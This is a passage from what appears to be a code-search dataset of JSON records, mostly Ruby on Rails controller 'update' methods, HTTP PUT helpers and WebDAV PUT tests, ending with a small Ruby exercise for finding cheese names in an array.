successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "76553fd4bec1ef84d28c278b3b698eb8", "score": "0.5780816", "text": "def update\n @food = Food.find(params[:id])\n\n respond_to do |format|\n if @food.update_attributes(params[:food])\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "92b09616055b9a2d16e9e7686b430a3c", "score": "0.57743776", "text": "def update\n @fascicle = Fascicle.find(params[:id])\n\n respond_to do |format|\n if @fascicle.update_attributes(params[:fascicle])\n format.html { redirect_to(@fascicle, :notice => 'Fascicle was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @fascicle.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fcfff01f655ed148030f34bb391779fe", "score": "0.5765242", "text": "def update\n\t\t#render inline: params.inspect\n\t\t@interview = Interview.find(params[:id])\n\t\t@interview.consumed_foods = []\n\n\t\tif params[:consumed_foods]\n\t\t\tparams[:consumed_foods].each do |key, food|\n\t\t\t\t@interview.consumed_foods.build(food)\n\t\t\tend\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tif @interview.update_attributes(params[:interview])\n\t\t\t\tformat.html { redirect_to @interview, notice: 'Interview was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @interview.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "6eccf0cb1ebc7404a9ae8d73fad0c91a", "score": "0.5760882", "text": "def put(*args)\n request :put, *args\n end", "title": "" }, { "docid": "9bb942a66c66f754b5f7bb3c77d246fd", "score": "0.57491785", "text": "def update\n results = food_params.to_h\n results[\"tags\"] = Tag.where(id: [results[\"tags\"].split(\",\")])\n results[\"facts\"] = Fact.where(id: [results[\"facts\"].split(\",\")])\n\n respond_to do |format|\n if @food.update(results)\n format.html { redirect_to [:admin, :foods], notice: \"Food was successfully updated.\" }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cc37e755a622c726ca16693ca6a0c4c6", "score": "0.5720436", "text": "def update\n respond_to do |format|\n if @foody.update(foody_params)\n format.html { redirect_to @foody, notice: 'Foodie was successfully updated.' }\n format.json { render :show, status: :ok, location: @foody }\n else\n format.html { render :edit }\n format.json { render json: @foody.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ea416b077fa0aa7e84ec3fe2ef9c3772", "score": "0.57145905", "text": "def put\n request_method('PUT')\n end", "title": "" }, { "docid": "d9b016901b3bfa5dd72d880e60c10962", "score": "0.5705908", "text": "def update\n respond_with film_entry.set action_id\n end", "title": "" }, { "docid": "1056bcc338dd9fcee01680d9916d3e50", "score": "0.5702124", "text": "def update\n @food_type = FoodType.find(params[:id])\n\n respond_to do |format|\n if @food_type.update_attributes(params[:food_type])\n format.html { redirect_to(@food_type, :notice => 'Food type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @food_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6fd8842ed08fa1572950f3e78514aecf", "score": "0.5696017", "text": "def do_PUT(req, res)\n domain, resource, id, format = parse_request_path(req.path_info)\n attributes = from_xml(resource, req.body)\n attributes['updated-at'] = Time.now.iso8601\n logger.debug \"Updating item with attributes: #{attributes.inspect}\"\n sdb_put_item(domain, attributes, true)\n raise WEBrick::HTTPStatus::OK\n end", "title": "" }, { "docid": "6cbbddc73e7fbb152fae713f712777b3", "score": "0.5687757", "text": "def update\n update_resource(@tomato)\n end", "title": "" }, { "docid": "aa0b87a16ede7353758305dbbaf57c22", "score": "0.56859046", "text": "def put(*a) route 'PUT', *a end", "title": "" }, { "docid": "0247e51ad31114898a0b8b5845a75247", "score": "0.56689495", "text": "def update\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "545dadbe32aa3d9d0edf1d22293783fc", "score": "0.5664914", "text": "def test_put_existing\n request = Http::Request.new('PUT', '/file1', {}, 'bar')\n\n response = self.request(request)\n\n assert_equal(204, response.status)\n\n assert_equal(\n 'bar',\n @server.tree.node_for_path('file1').get\n )\n\n assert_equal(\n {\n 'X-Sabre-Version' => [Version::VERSION],\n 'Content-Length' => ['0'],\n 'ETag' => [\"\\\"#{Digest::MD5.hexdigest('bar')}\\\"\"]\n },\n response.headers\n )\n end", "title": "" }, { "docid": "21d93cae603ca7ced648edafa3ba5dca", "score": "0.5660004", "text": "def update\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: \"Food was successfully updated.\" }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e07baa6e3a2325d51547c04c53544cad", "score": "0.5655062", "text": "def update\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38a08bc1385d8b246d9cd0321f0f558f", "score": "0.56533945", "text": "def update\n @poofer = Poofer.find(params[:id])\n\n respond_to do |format|\n if @poofer.update_attributes(params[:poofer])\n format.html { redirect_to(@poofer, :notice => 'Poofer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @poofer.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7863809bd4713d535fa3f46600eca4b9", "score": "0.5644047", "text": "def update\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7863809bd4713d535fa3f46600eca4b9", "score": "0.5644047", "text": "def update\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7863809bd4713d535fa3f46600eca4b9", "score": "0.5644047", "text": "def update\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7863809bd4713d535fa3f46600eca4b9", "score": "0.5644047", "text": "def update\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7863809bd4713d535fa3f46600eca4b9", "score": "0.5644047", "text": "def update\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7863809bd4713d535fa3f46600eca4b9", "score": "0.5644047", "text": "def update\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7863809bd4713d535fa3f46600eca4b9", "score": "0.5644047", "text": "def update\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7863809bd4713d535fa3f46600eca4b9", "score": "0.5644047", "text": "def update\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7863809bd4713d535fa3f46600eca4b9", "score": "0.5644047", "text": "def update\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09355a5e621d0358c841133de5e073b7", "score": "0.5635356", "text": "def update\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: 'successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "67c9ab4237b70c6d7f1a4a457785ec83", "score": "0.5620251", "text": "def put(path, opts = {}, &app); add_with_request_method(path, :put, opts, &app); end", "title": "" }, { "docid": "f9f9297a295c0eda8da2b22bc4cbee54", "score": "0.5619365", "text": "def update\r\n respond_to do |format|\r\n if @food.update(food_params)\r\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @food }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @food.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "ca9fd5f1d76d6a1a8f9b0a89c64e0aa5", "score": "0.561533", "text": "def post_update(params)\n @client.post(\"#{path}/update\", nil, params, \"Content-Type\" => \"application/json\")\n end", "title": "" }, { "docid": "4820b4ccfec062d023d45433ba56f2f9", "score": "0.56121784", "text": "def update\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to foods_url, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "07918d5a67562e424f50e841ebcd6a84", "score": "0.5600611", "text": "def put(path , params = {})\n request(:put , path , params)\n end", "title": "" }, { "docid": "5a709be54da030e531e9297b7bde699d", "score": "0.5599986", "text": "def check_update_feed\n puts \"\\r\\n\\r\\nUpdate Feed:\"\n uri = URI.parse(\"http://0.0.0.0:8080/feed.json\")\n Net::HTTP.start(uri.host, uri.port) do |http|\n headers = {'Content-Type' => 'application/x-www-form-urlencoded'}\n put_data = \"key=1&uid=1&title=SomethingDifferent\"\n res = http.send_request('PUT', uri.request_uri, put_data, headers) \n puts res.body\n end\nend", "title": "" }, { "docid": "2db8510634a8588feaf130b0ace4c384", "score": "0.55995435", "text": "def test_should_update_blog_post_via_API_XML\r\n get \"/logout\"\r\n put \"/blog_posts/1.xml\", :api_key => 'testapikey',\r\n :blog_post => {:title => 'API Test Post',\r\n :body => 'API Test Body',\r\n :published => true,\r\n :featured => false,\r\n :summary => 'Blog Post Summary',\r\n :url => 'http://www.apiblogpost.com',\r\n :guid => '22222' }\r\n assert_response :success\r\n end", "title": "" }, { "docid": "713161fe04801b44f5b9cdb91a95fe89", "score": "0.55875343", "text": "def test_put\n request = Http::Request.new('PUT', '/file2', {}, 'hello')\n\n response = self.request(request)\n\n assert_equal(201, response.status, \"Incorrect status code received. Full response body: #{response.body_as_string}\")\n\n assert_equal(\n 'hello',\n @server.tree.node_for_path('file2').get\n )\n\n assert_equal(\n {\n 'X-Sabre-Version' => [Version::VERSION],\n 'Content-Length' => ['0'],\n 'ETag' => [\"\\\"#{Digest::MD5.hexdigest('hello')}\\\"\"]\n },\n response.headers\n )\n end", "title": "" }, { "docid": "a1180b85a98a5e652f2c5f2f1e253ca7", "score": "0.5581234", "text": "def put\n end", "title": "" }, { "docid": "ed46275f8f6f9727cd9c5632ce04964c", "score": "0.5578682", "text": "def update\n # Given the ID and Trend_Name and Comment Text, update\n uuid = params[:uuid]\n topic = params[:topic]\n comment = params[:comment]\n location_id = params[:location_id]\n\n # # to change later\n # uuid = \"91de7ee4-1cde-4aa8-9d0e-e16f46236d2f\"\n # comment = \"this is awesome111111!\"\n # topic = \"soytanrudo\"\n\n url= \"http://localhost:8080\"\n get_str = \"exist/atom/content/4302Collection/\"+location_id+\"/?id=urn:uuid:%s\"%uuid\n r = RestClient::Resource.new url\n res = r[get_str].get\n #puts res\n\n atom_string = res\n user_comment = comment\n\n atom_xml = Nokogiri::XML(atom_string)\n\n comment_ns = \"http://my.superdupertren.ds\"\n\n # assume the item exists and that there's only one of them\n topic_node = atom_xml.xpath(\"//tw:trend[@topic='\"+topic+\"']\", {\"tw\" => \"http://api.twitter.com\"})[0]\n\n puts \"Topic\"\n puts topic\n puts \"Comment\"\n puts user_comment\n\n comment_nodes = topic_node.xpath(\"//tw:trend[@topic='\"+topic+\"']/cm:user_comment\", {\"tw\" => \"http://api.twitter.com\", \"cm\" => comment_ns})\n if (comment_nodes.first)\n # Find user_comment node first and edit it\n comment_nodes.first.content = user_comment\n puts \"we found the comment nodes!!!!\"\n else\n # Create new node and add\n new_node = Nokogiri::XML::Node.new(\"user_comment\", atom_xml)\n new_node.add_namespace(nil, comment_ns)\n new_node.content = user_comment\n topic_node.add_child(new_node)\n end\n\n #update entry\n #puts atom_xml.to_xml\n\n url= \"http://localhost:8080\"\n r = RestClient::Resource.new url\n post_str = \"exist/atom/edit/4302Collection/\"+location_id+\"/?id=urn:uuid:%s\" % uuid\n res = r[post_str].put atom_xml.to_xml, :content_type => \"application/atom+xml\"\n\n #puts res\n render :xml => res\n\n end", "title": "" }, { "docid": "cda3d997a743a7307fb93c1c0fd89864", "score": "0.55779487", "text": "def update\n result = false\n\n begin\n ActiveRecord::Base.transaction do\n @food.food_tastes.clear\n result = @food.update(food_params)\n end\n rescue\n logger.error($!)\n end\n\n respond_to do |format|\n if result\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b384b33b7b7fd720ab3c4356beac119c", "score": "0.55708486", "text": "def update\n @food = Food.find(params[:id]) # find food with id\n\n if @food.update_attributes(params[:food])\n redirect_to @food\n flash[:success] = \"Food was successfully updated.\" \n else \n render action: \"edit\"\n end\n end", "title": "" }, { "docid": "1be44c3e0ba097e5e9e3383b5907538c", "score": "0.55578804", "text": "def update(id, member=\"Default member\", rating=\"9\", venue_Name=\"Default Venue_Name\", address=\"Default Address\", city=\"Default City\", phone=\"9999999999\" , date=\"\" , comment= \"Default Comment\")\r\n\t\txml_req =\r\n\t\t\"<?xml version='1.0' encoding='UTF-8'?>\r\n\t\t\t<review>\r\n\t\t\t\t<Member>#{member}</Member>\r\n\t\t\t\t<Rating>#{rating}</Rating>\r\n\t\t\t\t<Venue-Name>#{venue_Name}</Venue-Name>\r\n\t\t\t\t<Address>#{address}</Address>\r\n\t\t\t\t<City>#{city}</City>\r\n\t\t\t\t<Phone>#{phone}</Phone>\r\n\t\t\t\t<Date-of-Visit>date</Date-of-Visit>\r\n\t\t\t\t<Comment>#{comment}</Comment>\t\t\t\t\t\r\n\t\t\t</review>\"\r\n\r\n\t\trequest = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n\t\trequest.add_field \"Content-Type\", \"application/xml\"\r\n\t\trequest.body = xml_req\r\n\r\n\t\thttp = Net::HTTP.new(@uri.host, @uri.port)\r\n\t\tresponse = http.request(request)\r\n\r\n\t\t# no response body will be returned\r\n\t\tcase response\r\n\t\twhen Net::HTTPSuccess\r\n\t\t\treturn \"#{response.code} OK\"\r\n\t\telse\r\n\t\t\treturn \"#{response.code} ERROR\"\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "929c3d5441bcc776286ef6ce5e471afc", "score": "0.5555699", "text": "def update\n respond_to do |format|\n if @foody.update(foody_params)\n format.html { redirect_to @foody, notice: 'Foody was successfully updated.' }\n format.json { render :show, status: :ok, location: @foody }\n else\n format.html { render :edit }\n format.json { render json: @foody.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9ee5ec4c896e9df7026b79acf68efa32", "score": "0.5549098", "text": "def update\n @food_stuff = FoodStuff.find(params[:id])\n\n respond_to do |format|\n if @food_stuff.update_attributes(params[:food_stuff])\n format.html { redirect_to @food_stuff, notice: 'Food stuff was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food_stuff.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a6174ef5c57f0350802d9d10f71b4a2e", "score": "0.5542517", "text": "def test_finder_put_success\n request = Http::Request.new(\n 'PUT',\n '/file2',\n { 'X-Expected-Entity-Length' => '5' },\n 'hello'\n )\n response = self.request(request)\n\n assert_equal(201, response.status)\n\n assert_equal(\n 'hello',\n @server.tree.node_for_path('file2').get\n )\n\n assert_equal(\n {\n 'X-Sabre-Version' => [Version::VERSION],\n 'Content-Length' => ['0'],\n 'ETag' => [\"\\\"#{Digest::MD5.hexdigest('hello')}\\\"\"]\n },\n response.headers\n )\n end", "title": "" }, { "docid": "c04439582ae4e66e2810d2e8f2df99b0", "score": "0.5540229", "text": "def update\n respond_to do |format|\n if @pet_food.update(pet_food_params)\n format.html { redirect_to @pet_food, notice: \"Pet food was successfully updated.\" }\n format.json { render :show, status: :ok, location: @pet_food }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @pet_food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dd3cd2095af1713b6a86d6515db81de4", "score": "0.55367136", "text": "def put_update(options = {})\n options[:id] ||= @fax.id\n options[:fax] ||= @attributes\n\n put :update,options\n end", "title": "" }, { "docid": "11905dcd9c40b41238beeae55b93a1f9", "score": "0.55338407", "text": "def update\n @food_item = FoodItem.find(params[:id])\n\n respond_to do |format|\n if @food_item.update_attributes(params[:food_item])\n format.html { redirect_to @food_item, notice: 'Food item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4de8d067c151eda0c5d4fabee90dd31d", "score": "0.55249673", "text": "def update_rest\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b6c9c8d236e38d8c7560f787fc79d3a2", "score": "0.55216706", "text": "def update\n @foodevent = Foodevent.find(params[:id])\n\n respond_to do |format|\n if @foodevent.update_attributes(params[:foodevent])\n format.html { redirect_to @foodevent, notice: 'Foodevent was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foodevent.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "684cccab8717b5866d44a734cb97b5f8", "score": "0.5519017", "text": "def put(options = {})\n request :put, options\n end", "title": "" }, { "docid": "ab06eb460825d4d22239bf0a9bf13643", "score": "0.5511451", "text": "def update\n @foodmaster = Foodmaster.find(params[:id])\n\n respond_to do |format|\n if @foodmaster.update_attributes(params[:foodmaster])\n format.html { redirect_to(@foodmaster, :notice => 'Foodmaster was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @foodmaster.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1fedcdf09c216a680890686a33d75881", "score": "0.5510937", "text": "def update\n respond_to do |format|\n\n if @food.update(food_params)\n format.html { redirect_to restaurant_food_url(id: @food.id), notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c4559f0e9b085728abf6d7bbccacb907", "score": "0.5501564", "text": "def put(action, options = {})\n process_refinery_action(action, 'PUT', options)\n end", "title": "" }, { "docid": "510ca072acd989f3b1884249bbb8f2e3", "score": "0.5499712", "text": "def update\n respond_to do |format|\n if @fo.update(fo_params)\n format.html { redirect_to @fo, notice: 'Fo was successfully updated.' }\n format.json { render :show, status: :ok, location: @fo }\n else\n format.html { render :edit }\n format.json { render json: @fo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dd2cf382b051a3ed3251aedf20980aa7", "score": "0.5491607", "text": "def update\n @food_item = FoodItem.find(params[:id])\n\n respond_to do |format|\n if @food_item.update_attributes(params[:food_item])\n format.html { redirect_to admin_food_item_path, notice: 'Food item was successfully updated.' }\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "9a3759841f3a6ea78e03c4725e98d757", "score": "0.5487311", "text": "def update\n if @food_item.update(food_item_params)\n\n else\n\n end\n end", "title": "" }, { "docid": "69af67f689a891ac78a8eda23d4bf32d", "score": "0.5485766", "text": "def update\n respond_to do |format|\n if @fastfood.update(fastfood_params)\n format.html { redirect_to @fastfood, notice: 'Fastfood was successfully updated.' }\n format.json { render :show, status: :ok, location: @fastfood }\n else\n format.html { render :edit }\n format.json { render json: @fastfood.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cce33f4024c7a68f7911919e5510d2f8", "score": "0.5481111", "text": "def put(options)\n post(options)\n end", "title": "" }, { "docid": "c7d3cd0f218c42e01dbd0246ab7b00c9", "score": "0.5468744", "text": "def put(path, params={}); make_request(:put, host, port, path, params); end", "title": "" }, { "docid": "cbb44b10e4e0091d3008912b55faeae6", "score": "0.5460755", "text": "def update\n respond_to do |format|\n if @fox.update(fox_params)\n format.html { redirect_to @fox, notice: 'Fox was successfully updated.' }\n format.json { render :show, status: :ok, location: @fox }\n else\n format.html { render :edit }\n format.json { render json: @fox.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3e9ed15a615781dcc6fdd5596c3a0123", "score": "0.5460617", "text": "def update\n respond_to do |format|\n if @foodstuff.update(foodstuff_params)\n format.html { redirect_to @foodstuff, notice: 'Foodstuff was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foodstuff.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "70f0d1185911f2094c718c895e0881de", "score": "0.54546446", "text": "def update_entity(entity_id, request)\n start.uri('/api/entity')\n .url_segment(entity_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end", "title": "" }, { "docid": "ad9c1094ad2654e9a48348f00bdd77fc", "score": "0.54482526", "text": "def put(path:, body: {})\n request(method: :put, path: path, body: body)\n end", "title": "" }, { "docid": "044b0d15d6236b4e6ee487be18800a6e", "score": "0.5442785", "text": "def update\n @foodqo = Foodqo.find(params[:id])\n\n respond_to do |format|\n if @foodqo.update_attributes(params[:foodqo])\n format.html { redirect_to @foodqo, :notice => 'Foodqo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @foodqo.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7eeed48e7f05f1ef829e83baf9a334f8", "score": "0.5440473", "text": "def update_item(path, body, name)\n resp = session.patch(path, body)\n if resp.is_a?(Net::HTTPOK)\n Chef::Log.info(\"Updated keystone item '#{name}'\")\n else\n raise_error(resp, \"Unable to update item '#{name}'\", \"update_item\")\n end\nend", "title": "" }, { "docid": "0f97ed29f351b55a5d2a8dc7b945cee2", "score": "0.5418555", "text": "def update\n respond_to do |format|\n if @food_intake.update(food_intake_params)\n format.html { redirect_to @food_intake, notice: 'Food intake was successfully updated.' }\n format.json { render :show, status: :ok, location: @food_intake }\n else\n format.html { render :edit }\n format.json { render json: @food_intake.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4ee5e29ef62a6e95122a8f5d94e1d50d", "score": "0.5412005", "text": "def put(path, params = {})\n request :put, path, params\n end", "title": "" }, { "docid": "47abb2cddfa1a665018f717cdaaa4164", "score": "0.5411314", "text": "def update!(params)\n res = @client.put(path, {}, params, \"Content-Type\" => \"application/json\")\n\n @attributes = res.json if res.status == 201\n end", "title": "" }, { "docid": "b08a20f315c95406eb42564f66833904", "score": "0.5402644", "text": "def update\n @diet = current_user.diets.find_by_id(params[:id])\n foods = \"\"\n params[:foods].each do |food|\n foods = foods + food + \"|\"\n end\n foods = foods + \"a\"\n @diet.foods = foods\n respond_to do |format|\n if @diet.update(diet_params)\n format.html { redirect_to \"/muestra_dieta.html\", notice: 'Diet was successfully updated.' }\n format.json { render :show, status: :ok, location: @diet }\n else\n format.html { render :edit }\n format.json { render json: @diet.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "476c34f1955d8e27ff8ba558ce2abe37", "score": "0.54012144", "text": "def test_put_no_parent\n request = Http::Request.new(\n 'PUT',\n '/file1/file2',\n {},\n 'hello'\n )\n\n response = self.request(request)\n assert_equal(409, response.status)\n end", "title": "" }, { "docid": "1308e2aec2b24f8d3f1fbc1a120db8f6", "score": "0.5397229", "text": "def update\n respond_to do |format|\n if @tag.update_attributes(params[:post])\n format.xml { head :ok }\n else\n format.xml { render :xml => @tag.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5dc469fa85ae2ae77f2a3d41b06028ed", "score": "0.53920925", "text": "def put(path, body = {}, options = {})\n request(:put, path, options, body)\n end", "title": "" }, { "docid": "daf51e33e4e64f1a61e2533f168e2428", "score": "0.5386662", "text": "def set_food\r\n @food = Food.find(params[:id])\r\n end", "title": "" }, { "docid": "6b88e8534e926c1447e1f752c95d2a77", "score": "0.53854483", "text": "def rest_put(path, options = {}, api_ver = @api_version)\n rest_api(:put, path, options, api_ver)\n end", "title": "" }, { "docid": "6b88e8534e926c1447e1f752c95d2a77", "score": "0.53854483", "text": "def rest_put(path, options = {}, api_ver = @api_version)\n rest_api(:put, path, options, api_ver)\n end", "title": "" }, { "docid": "38d10922348eb30baf77125fc43b9060", "score": "0.53807133", "text": "def update\n @action_definition = ActionDefinition.find(params[:id])\n @feeling_definitions = FeelingDefinition.all\n\n respond_to do |format|\n if @action_definition.update_attributes(params[:action_definition])\n format.html { redirect_to(@action_definition, :notice => 'Action definition was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @action_definition.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c7ccd1d8f2913a887a995fc98dfc959c", "score": "0.53805155", "text": "def set_food\n @food = Food.find(params[:id])\n end", "title": "" }, { "docid": "c7ccd1d8f2913a887a995fc98dfc959c", "score": "0.53805155", "text": "def set_food\n @food = Food.find(params[:id])\n end", "title": "" }, { "docid": "c7ccd1d8f2913a887a995fc98dfc959c", "score": "0.53805155", "text": "def set_food\n @food = Food.find(params[:id])\n end", "title": "" }, { "docid": "c7ccd1d8f2913a887a995fc98dfc959c", "score": "0.53805155", "text": "def set_food\n @food = Food.find(params[:id])\n end", "title": "" }, { "docid": "1770acd0ef274389acb172f702af95fd", "score": "0.5379637", "text": "def set_food\n @food = @category.foods.find(params[:id])\n end", "title": "" }, { "docid": "d0fba1bf3c5e1dc0008c27994e1dabe4", "score": "0.5378166", "text": "def test_should_update_blog_post_via_API_XML\r\n get \"/logout\"\r\n put \"/blog_posts/1.xml\", :blog_post => {:title => 'API Test Post',\r\n :body => 'API Test Body',\r\n :published => true,\r\n :featured => false,\r\n :summary => 'Blog Post Summary',\r\n :url => 'http://www.apiblogpost.com',\r\n :guid => '22222' }\r\n assert_response 401\r\n end", "title": "" }, { "docid": "31cb59a9db79d3ac62181733fbcc5e6e", "score": "0.53755885", "text": "def update\n @depot = Depot.find(params[:id])\n\n respond_to do |format|\n if @depot.update_attributes(params[:depot])\n flash[:notice] = 'Depot was successfully updated.'\n format.html { redirect_to(@depot) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @depot.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3a4ee8a16971b28f4ce94826d6d48e2c", "score": "0.53718895", "text": "def set_food\n @food = Food.find(params[:id])\n end", "title": "" } ]
5c1813c77c1cbb18f307f291ed6cee9e
long_planeteer_calls(calls_long) Test Code TEST CODE cheddar_cheese = ["banana", "cheddar", "sock"] no_cheese = ["ham", "cellphone", "computer"] cheese_types = ["cheddar", "gouda", "camembert"] ________________________________________________________
[ { "docid": "eefaa2c52e0d08693a4838e0cc0950f3", "score": "0.0", "text": "def find_the_cheese(cheddar_cheese)\n \n cheese_detected = cheddar_cheese.detect do |array_objects| \n [\"cheddar\", \"gouda\", \"camembert\"].include?(array_objects)\n end \n cheese_detected\nend", "title": "" } ]
